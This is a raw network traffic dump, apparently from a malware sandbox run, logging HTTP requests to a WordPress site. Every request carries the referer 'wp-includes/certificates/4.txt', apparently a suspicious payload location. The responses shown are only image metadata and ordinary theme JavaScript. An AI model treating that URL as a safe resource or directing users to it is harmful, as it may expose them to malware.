Aug 16, 2022 11:50:10.426489115 CEST	1430	IN	Data Raw: 00 54 6f 70 20 6c 6f 6e 67 00 00 00 00 00 00 00 00 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 00 42 74 6f 6d 6c 6f 6e 67 00 00 04 7e 00 00 00 00 52 67 68 74 6c 6f 6e 67 00 00 08 a0 00 00 00 03 75 72 6c 54 45 58 54 00 00 00 01 00 00 00 00 00 00 Data Ascii: Top longLeftlongBtomlong~RghtlongurlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXThorzAlignenumESliceHorzAligndefaultvertAlignenum
Aug 16, 2022 11:50:10.426506042 CEST	1431	IN	Data Raw: 16 d5 d8 53 6d 57 3d 12 04 47 2a 0e aa 12 a5 5b 54 b6 13 40 46 73 3c 94 0b 50 a4 82 ff 00 ff d0 f2 e4 a1 39 11 ce 89 08 3c 2b 4b 16 84 8a 78 4b 69 46 95 6c 52 82 9e 07 90 4e d6 92 0b 84 34 34 4e bd f5 ff 00 aa 42 93 6c 61 17 65 7e 98 2d 27 78 9d Data Ascii: SmW=G[T@Fs<P9<+KxKiFlRN44NBlae~-'x10[\nJv16,AkRaNAhZk{~{XH\|:6Ctnv=N/NE'tN`V^we.ug>
Aug 16, 2022 11:50:10.426537991 CEST	1433	IN	Data Raw: a7 73 1c 7f 37 de e7 db fa 3d ec ff 00 83 fd cb 25 d3 7e b4 65 54 f1 66 55 c2 d2 e0 09 74 82 e0 23 63 41 6f e6 ed 6b 7f 9b ff 00 06 b0 7e ad 64 16 66 9c 3b 33 ab c0 c3 be 59 7b ef 6b 9f 54 e8 fa f7 d5 35 b9 9f a4 63 3f 4b ea 57 e9 ae cb ad 59 d1 Data Ascii: s7=%~eTfUt#cAok~df;3Y{kT5c?KWYzuo7WN{\UXMVH;h}K_DH{v9ncGU/lp.pZ=\9tRj8kA--p~glbW-7v{Y_/VqcVw
Aug 16, 2022 11:50:10.426580906 CEST	1434	IN	Data Raw: 2d 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 6c 6e Data Ascii: -ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xml
Aug 16, 2022 11:50:10.426687956 CEST	1435	IN	Data Raw: 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: DF> </x:xmpmeta>
Aug 16, 2022 11:50:10.426728964 CEST	1437	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
Aug 16, 2022 11:50:10.654022932 CEST	1439	IN	Data Raw: 18 da 58 59 5a 20 00 00 00 00 00 00 24 a0 00 00 0f 84 00 00 b6 cf 64 65 73 63 00 00 00 00 00 00 00 16 49 45 43 20 68 74 74 70 3a 2f 2f 77 77 77 2e 69 65 63 2e 63 68 00 00 00 00 00 00 00 00 00 00 00 16 49 45 43 20 68 74 74 70 3a 2f 2f 77 77 77 2e Data Ascii: XYZ $descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space -
Aug 16, 2022 11:50:12.255319118 CEST	2397	OUT	GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:12.483982086 CEST	2412	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:45:11 GMT Server: Apache ETag: "a530bd-55a-58592d41dde80" Last-Modified: Tue, 02 Apr 2019 21:29:14 GMT Content-Length: 1370 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15075466 20383444 Age: 300 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1f 00 00 00 13 08 06 00 00 00 68 6c d6 42 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 b5 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 52 69 67 68 74 73 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 72 69 67 68 74 73 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 4d 4d 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 6d 6d 2f 22 20 78 6d 6c 6e 73 3a 73 74 52 65 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 70 65 2f 52 65 73 6f 75 72 63 65 52 65 66 23 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 70 52 69 67 68 74 73 3a 4d 61 72 6b 65 64 3d 22 46 61 6c 73 65 22 20 78 6d 70 4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 46 35 30 30 30 31 44 36 32 42 38 31 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 36 34 37 30 31 37 46 45 33 37 43 36 31 31 45 32 42 39 31 43 44 35 36 32 43 35 37 38 38 45 34 45 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 36 34 37 30 31 37 46 44 33 37 43 36 31 31 45 32 42 39 31 43 44 35 36 32 43 35 37 38 38 45 34 45 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 36 20 28 57 69 6e 64 6f 77 73 29 22 3e 20 3c 78 6d 70 4d 4d 3a 44 65 72 69 76 65 64 46 72 6f 6d 20 73 74 52 65 66 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 34 32 36 35 30 38 39 42 33 46 32 46 45 32 31 31 41 43 37 43 44 38 37 38 36 31 45 35 36 43 37 45 22 20 73 74 52 65 66 3a 64 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 46 35 30 30 30 31 44 36 32 42 38 31 22 2f 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 Data Ascii: PNGIHDRhlBtEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="xmp.did:02801174072068118DBBF50001D62B81" xmpMM:DocumentID="xmp.did:647017FE37C611E2B91CD562C5788E4E" xmpMM:InstanceID="xmp.iid:647017FD37C611E2B91CD562C5788E4E" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4265089B3F2FE211AC7CD87861E56C7E" stRef:documentID="xmp.did:02801174072068118DBBF50001D62B81"/> </rdf:Description> </rdf
Aug 16, 2022 11:50:12.491076946 CEST	2413	OUT	GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:12.719187021 CEST	2431	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:47:00 GMT Server: Apache ETag: "a53a52-14d5-58592d7651a40" Last-Modified: Tue, 02 Apr 2019 21:30:09 GMT Content-Length: 5333 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15075468 23959527 Age: 192 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 76 61 72 0a 09 09 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 20 3d 20 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 0a 09 3b 0a 0a 09 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 72 65 73 69 7a 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 6a 51 75 65 72 79 28 27 2e 67 6d 61 70 5f 63 6f 6e 74 61 69 6e 65 72 27 29 2e 63 73 73 28 7b 20 27 77 69 64 74 68 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 20 27 6c 65 66 74 27 3a 27 35 30 25 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2f 2d 32 20 7d 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 67 6d 61 70 5f 63 6f 6e 74 61 69 6e 65 72 32 27 29 2e 63 73 73 28 7b 20 27 77 69 64 74 68 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 20 27 6c 65 66 74 27 3a 27 35 30 25 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2f 2d 32 20 7d 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 63 6f 6e 74 61 69 6e 65 72 31 27 29 2e 63 73 73 28 7b 20 27 77 69 64 74 68 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 20 27 6c 65 66 74 27 3a 27 35 30 25 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2f 2d 32 20 7d 29 3b 0a 09 7d 29 2e 74 72 69 67 67 65 72 28 22 72 65 73 69 7a 65 22 29 3b 0a 0a 09 6a 51 75 65 72 79 28 27 2e 63 68 65 72 72 79 5f 6d 65 64 69 61 5f 70 61 72 61 6c 6c 61 78 5f 31 27 29 2e 66 61 64 65 54 6f 28 30 2c 20 30 29 3b 0a 09 0a 7d 29 0a 0a 24 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 0a 09 09 6d 65 6e 75 57 72 61 70 20 3d 20 24 28 27 2e 68 65 61 64 65 72 20 2e 6d 65 6e 75 5f 77 72 61 70 27 29 0a 09 2c 09 6f 66 66 73 65 74 41 72 72 61 79 20 3d 20 5b 5d 0a 09 2c 09 6f 66 66 73 65 74 56 61 6c 75 65 41 72 72 61 79 20 3d 20 5b 5d 0a 09 2c 09 5f 64 6f 63 75 6d 65 6e 74 20 3d 20 24 28 64 6f 63 75 6d 65 6e 74 29 0a 09 2c 09 63 75 72 72 48 61 73 68 20 3d 20 27 27 0a 09 2c 09 69 73 41 6e 69 6d 20 3d 20 66 61 6c 73 65 0a 09 2c 09 69 73 48 6f 6d 65 50 61 67 65 20 3d 20 24 28 27 62 6f 64 79 27 29 2e 68 61 73 43 6c 61 73 73 28 27 68 6f 6d 65 27 29 3f 20 74 72 75 65 3a 66 61 6c 73 65 0a 09 3b 0a 09 0a 09 2f 2f 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 4d 65 6e 75 20 6e 61 76 69 67 61 74 69 6f 6e 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 24 28 27 23 74 6f 70 6e 61 76 20 3e 20 6c 69 27 2c 20 6d 65 6e 75 57 72 61 70 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 69 66 28 24 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 27 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 75 73 74 6f 6d 27 29 29 7b 0a 09 09 09 Data Ascii: jQuery(document).ready(function(){varwindowSelector = jQuery(window);windowSelector.resize(function(){jQuery('.gmap_container').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });jQuery('.gmap_container2').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });jQuery('.content_container1').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });}).trigger("resize");jQuery('.cherry_media_parallax_1').fadeTo(0, 0);})$(function() {varmenuWrap = $('.header .menu_wrap'),offsetArray = [],offsetValueArray = [],_document = $(document),currHash = '',isAnim = false,isHomePage = $('body').hasClass('home')? true:false;//--------------------------- Menu navigation ---------------------------$('#topnav > li', menuWrap).each(function(){if($(this).hasClass('menu-item-type-custom')){
Aug 16, 2022 11:50:12.722177982 CEST	2436	OUT	GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:12.950618029 CEST	2459	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:46:51 GMT Server: Apache ETag: "a53a5c-5e2-58592d7651a40" Last-Modified: Tue, 02 Apr 2019 21:30:09 GMT Content-Length: 1506 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15075470 18765903 Age: 201 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: ef bb bf 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 20 24 2e 66 6e 2e 73 63 72 6f 6c 6c 53 68 6f 77 54 69 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 0a 20 20 20 20 76 61 72 20 67 65 74 4f 70 74 69 6f 6e 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 72 72 65 63 74 69 6f 6e 59 3a 20 31 30 30 0a 20 20 20 20 2c 20 20 20 6f 6e 53 68 6f 77 3a 20 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 0a 20 20 20 20 7d 0a 20 20 20 20 24 2e 65 78 74 65 6e 64 28 67 65 74 4f 70 74 69 6f 6e 2c 20 6f 29 3b 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 5f 74 68 69 73 20 3d 20 24 28 74 68 69 73 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 74 6f 70 4f 66 66 73 65 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 77 69 6e 64 6f 77 48 65 69 67 68 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 5f 76 69 73 69 62 6c 65 3d 66 61 6c 73 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 5f 77 69 6e 3d 24 28 77 69 6e 64 6f 77 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 5f 64 6f 63 3d 24 28 64 6f 63 75 6d 65 6e 74 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 69 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 69 6e 69 74 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 6f 70 4f 66 66 73 65 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5f 74 68 69 73 2e 61 64 64 43 6c 61 73 73 28 27 68 69 64 65 5f 73 74 61 74 65 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 64 64 45 76 65 6e 74 48 61 6e 64 6c 65 72 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2f 2f 65 6e 64 20 69 6e 69 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 73 65 74 54 6f 70 4f 66 66 73 65 74 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 70 4f 66 66 73 65 74 20 3d 20 5f 74 68 69 73 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 61 64 64 45 76 65 6e 74 48 61 6e 64 6c 65 72 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 73 63 72 6f 6c 6c 27 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 6f 70 4f 66 66 73 65 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 4c 69 73 74 65 6e 65 72 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 2e 74 72 69 67 67 65 72 28 27 73 63 72 6f 6c 6c 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 72 65 73 69 7a 65 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 Data Ascii: (function($){ $.fn.scrollShowTime=function(o){ var getOption = { correctionY: 100 , onShow: function(){} } $.extend(getOption, o); return this.each(function(){ var _this = $(this) ,topOffset ,windowHeight ,_visible=false ,_win=$(window) ,_doc=$(document) ; init(); function init(){ setTopOffset(); _this.addClass('hide_state'); addEventHandler(); }//end init function setTopOffset(){ topOffset = _this.offset().top; } function addEventHandler(){ $(window).on('scroll',function(){ setTopOffset(); positionListener(); }).trigger('scroll'); $(window).on('resize', function(){
Aug 16, 2022 11:50:12.957653046 CEST	2460	OUT	GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:13.186372995 CEST	2466	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:46:59 GMT Server: Apache ETag: "a53545-81a-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 2074 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15075472 15075356 Age: 193 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2a 0a 20 2a 20 6a 51 75 65 72 79 20 4d 6f 62 69 6c 65 20 4d 65 6e 75 0a 20 2a 20 54 75 72 6e 20 75 6e 6f 72 64 65 72 65 64 20 6c 69 73 74 20 6d 65 6e 75 20 69 6e 74 6f 20 64 72 6f 70 64 6f 77 6e 20 73 65 6c 65 63 74 20 6d 65 6e 75 0a 20 2a 20 76 65 72 73 69 6f 6e 20 31 2e 30 28 33 31 2d 4f 43 54 2d 32 30 31 31 29 0a 20 2a 0a 20 2a 20 42 75 69 6c 74 20 6f 6e 20 74 6f 70 20 6f 66 20 74 68 65 20 6a 51 75 65 72 79 20 6c 69 62 72 61 72 79 0a 20 2a 20 20 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 44 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 0a 20 2a 20 20 20 68 74 74 70 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6d 61 6d 62 6f 77 73 2f 6d 6f 62 69 6c 65 6d 65 6e 75 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 09 24 2e 66 6e 2e 6d 6f 62 69 6c 65 4d 65 6e 75 20 3d 20 66 75 6e 63 74 69 6f 6e 28 6f 70 74 69 6f 6e 73 29 20 7b 0a 09 09 76 61 72 20 64 65 66 61 75 6c 74 73 20 3d 20 7b 0a 09 09 09 09 64 65 66 61 75 6c 74 54 65 78 74 3a 20 27 4e 61 76 69 67 61 74 65 20 74 6f 2e 2e 2e 27 2c 0a 09 09 09 09 63 6c 61 73 73 4e 61 6d 65 3a 20 27 73 65 6c 65 63 74 2d 6d 65 6e 75 27 2c 0a 09 09 09 09 73 75 62 4d 65 6e 75 43 6c 61 73 73 3a 20 27 73 75 62 2d 6d 65 6e 75 27 2c 0a 09 09 09 09 73 75 62 4d 65 6e 75 44 61 73 68 3a 20 27 26 6e 64 61 73 68 3b 27 0a 09 09 09 09 7d 2c 0a 09 09 09 73 65 74 74 69 6e 67 73 20 3d 20 24 2e 65 78 74 65 6e 64 28 20 64 65 66 61 75 6c 74 73 2c 20 6f 70 74 69 6f 6e 73 20 29 2c 0a 09 09 09 65 6c 20 3d 20 24 28 74 68 69 73 29 3b 0a 0a 09 09 24 28 22 68 65 61 64 22 29 2e 61 70 70 65 6e 64 28 27 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 40 6d 65 64 69 61 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 7b 2e 73 66 2d 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 20 2e 73 65 6c 65 63 74 2d 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 7d 7d 3c 2f 73 74 79 6c 65 3e 27 29 0a 0a 09 09 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 09 2f 2f 20 61 64 20 63 6c 61 73 73 20 74 6f 20 73 75 62 6d 65 6e 75 20 6c 69 73 74 0a 09 09 09 65 6c 2e 66 69 6e 64 28 27 75 6c 27 29 2e 61 64 64 43 6c 61 73 73 28 73 65 74 74 69 6e 67 73 2e 73 75 62 4d 65 6e 75 43 6c 61 73 73 29 3b 0a 0a 09 09 09 2f 2f 20 43 72 65 61 74 65 20 62 61 73 65 20 6d 65 6e 75 0a 09 09 09 24 28 27 3c 73 65 6c 65 63 74 20 2f 3e 27 2c 7b 27 63 6c 61 73 73 27 3a 73 65 74 74 69 6e 67 73 2e 63 6c 61 73 73 4e 61 6d 65 7d 29 2e 69 6e 73 65 72 74 41 66 74 65 72 28 65 6c 29 3b 0a 0a 09 09 09 2f 2f 20 43 72 65 61 74 65 20 64 65 66 61 75 6c 74 20 6f 70 74 69 6f 6e 0a 09 09 09 24 28 27 3c 6f 70 74 69 6f 6e 20 2f 3e 27 2c 20 7b 22 76 61 6c 75 65 22 3a 27 23 27 2c 20 22 74 65 78 74 22 3a 73 65 74 74 69 6e 67 73 2e 64 65 66 61 75 6c 74 54 65 78 74 7d 29 2e 61 70 70 65 6e 64 54 6f 28 20 27 2e 27 20 2b 20 73 65 74 74 69 6e 67 73 2e 63 6c 61 73 73 4e 61 6d 65 20 29 3b 0a 0a 09 09 09 2f 2f 20 43 72 65 61 74 65 20 Data Ascii: /** * jQuery Mobile Menu * Turn unordered list menu into dropdown select menu * version 1.0(31-OCT-2011) * * Built on top of the jQuery library * http://jquery.com * * Documentation * http://github.com/mambows/mobilemenu */(function($){$.fn.mobileMenu = function(options) {var defaults = {defaultText: 'Navigate to...',className: 'select-menu',subMenuClass: 'sub-menu',subMenuDash: '–'},settings = $.extend( defaults, options ),el = $(this);$("head").append('<style type="text/css">@media(max-width: 767px){.sf-menu{display:none;} .select-menu{display: block;}}</style>')this.each(function(){// ad class to submenu listel.find('ul').addClass(settings.subMenuClass);// Create base menu$('<select />',{'class':settings.className}).insertAfter(el);// Create default option$('<option />', {"value":'#', "text":settings.defaultText}).appendTo( '.' + settings.className );// Create
